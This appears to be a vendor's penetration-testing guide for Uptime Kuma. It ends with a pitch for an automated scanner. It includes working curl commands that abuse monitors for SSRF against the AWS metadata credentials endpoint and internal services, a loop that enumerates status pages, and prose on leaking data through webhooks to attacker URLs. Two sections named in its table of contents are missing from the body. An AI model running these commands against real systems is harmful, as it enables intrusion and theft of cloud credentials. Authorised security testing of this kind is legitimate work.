Uptime Kuma Security Testing: Default Setup, SSRF via Monitors, Webhook Notifications, and API Access

Uptime Kuma is a widely adopted self-hosted uptime monitoring tool that tracks website, TCP port, and DNS availability with a real-time dashboard and notification system. It has several security characteristics that make it an important target in penetration tests of self-hosted infrastructure: on first launch the setup screen at / is accessible without any authentication — any visitor who reaches the Uptime Kuma instance before the admin sets up their account can create the admin account and take full control; HTTP and HTTPS monitor types make outbound HTTP connections from the Uptime Kuma server to the monitored URL — when an attacker gains admin access, they can create monitors targeting internal services, cloud metadata endpoints (http://169.254.169.254/), or internal network hosts to exfiltrate data through timing and error responses; Uptime Kuma's notification system allows configuring webhook URLs that receive POST callbacks with monitor status data — webhook URLs pointing to attacker-controlled infrastructure receive service names, monitor configurations, and uptime history; public status pages configured in Uptime Kuma expose all monitor names, target URLs, and current status to the internet; and Uptime Kuma's Socket.IO-based API uses session cookie authentication with no CSRF protection on state-changing operations in older versions. This guide covers systematic Uptime Kuma security assessment.

Table of Contents

  1. Uptime Kuma Discovery and Setup Status
  2. SSRF via Monitor URL Configuration
  3. Public Status Page Information Disclosure
  4. Webhook Notification Data Exposure
  5. Uptime Kuma Security Hardening

Uptime Kuma Discovery and Setup Status

# Uptime Kuma serves the Vue.js SPA from / on the configured port (default 3001)
# Check if Uptime Kuma is running and in setup mode

# Check if Uptime Kuma is accessible
curl -s -o /dev/null -w "%{http_code}" \
  "https://status.example.com/" 2>/dev/null

# Uptime Kuma's API endpoint — check if /api/login returns setup-required indicator
curl -s "https://status.example.com/api/login" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d = json.load(sys.stdin)
    print(f'Login API: {d}')
except:
    sys.stdin = open('/dev/stdin')
    print('Non-JSON response — likely SPA serving HTML')
" 2>/dev/null

# Status page enumeration — check for public status pages
# Uptime Kuma public status pages follow the pattern /status/{slug}
for SLUG in "status" "public" "main" "services" "uptime" "monitors" "health"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://status.example.com/status/${SLUG}" 2>/dev/null)
  if [ "$CODE" == "200" ]; then
    echo "PUBLIC STATUS PAGE: /status/${SLUG}"
  fi
done

SSRF via Monitor URL Configuration

# Uptime Kuma HTTP monitors make server-side HTTP requests to monitored URLs
# Admin users can create monitors pointing to internal infrastructure
# The server error messages and response times reveal internal service states

# After obtaining admin access, demonstrate SSRF via monitor creation
# Using the Socket.IO API or the REST API:

# Socket.IO-based monitor creation (Uptime Kuma uses Socket.IO for all operations)
# Demonstrate with the REST API available in newer Uptime Kuma versions:
TOKEN="your-api-token"
KUMA_URL="https://status.example.com"

# Create an HTTP monitor pointing at AWS metadata endpoint
curl -s -X POST "${KUMA_URL}/api/monitor" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "SSRF Test",
    "type": "http",
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "interval": 20,
    "retryInterval": 20,
    "maxretries": 0
  }' 2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
print(f'Monitor created: id={d.get(\"monitorID\",\"?\")} msg={d.get(\"msg\",\"?\")}')
" 2>/dev/null

# Internal network probing via monitor URLs
INTERNAL_TARGETS=(
  "http://10.0.0.1/"
  "http://192.168.1.1/"
  "http://localhost:8080/"
  "http://localhost:6379/"    # Redis
  "http://localhost:9200/"    # Elasticsearch
  "http://localhost:27017/"   # MongoDB
)

for TARGET in "${INTERNAL_TARGETS[@]}"; do
  echo "Creating SSRF probe monitor for: ${TARGET}"
  curl -s -X POST "${KUMA_URL}/api/monitor" \
    -H "Authorization: Bearer ${TOKEN}" \
    -H "Content-Type: application/json" \
    -d "{\"name\":\"probe-${TARGET}\",\"type\":\"http\",\"url\":\"${TARGET}\",\"interval\":20,\"maxretries\":0}" \
    2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'  Monitor {d.get(\"monitorID\",\"?\")} — status probe queued')
" 2>/dev/null
done

Uptime Kuma Security Hardening

Uptime Kuma Security Hardening Checklist:
Security TestMethodRisk
Setup screen accessible before admin creationGET / on new Uptime Kuma instance — attacker creates admin account and takes full control of monitoring infrastructureCritical
SSRF via HTTP monitor URL configurationCreate monitor with url=http://169.254.169.254/ — server makes request to cloud metadata endpoint or internal network hostHigh
Public status pages expose internal service topologyGET /status/{slug} — lists all monitored service names, URLs, and availability history without authenticationMedium
Webhook notifications exposing monitor data to external endpointsCreate webhook notification with attacker URL — receives all monitor status events including service names and statesMedium
Session cookie with no rate limiting on loginPOST to login endpoint with credential list — Uptime Kuma does not lock accounts after failed login attempts by defaultHigh
API token enumeration via REST API accessGET /api/monitors with valid token — returns complete list of all monitored services including internal endpoint URLsHigh

Automate Uptime Kuma Security Testing

Ironimo tests Uptime Kuma deployments for first-launch setup screen accessibility allowing unauthenticated admin account creation, SSRF via HTTP monitor URLs that trigger server-side requests to attacker-specified internal network targets and cloud metadata endpoints, public status pages exposing monitored service topology including internal service names and URLs, webhook notification URLs delivering monitor status data to attacker-controlled infrastructure, login endpoint without account lockout enabling credential brute force, and API tokens providing complete monitor list access including all monitored internal endpoint URLs.

Start free scan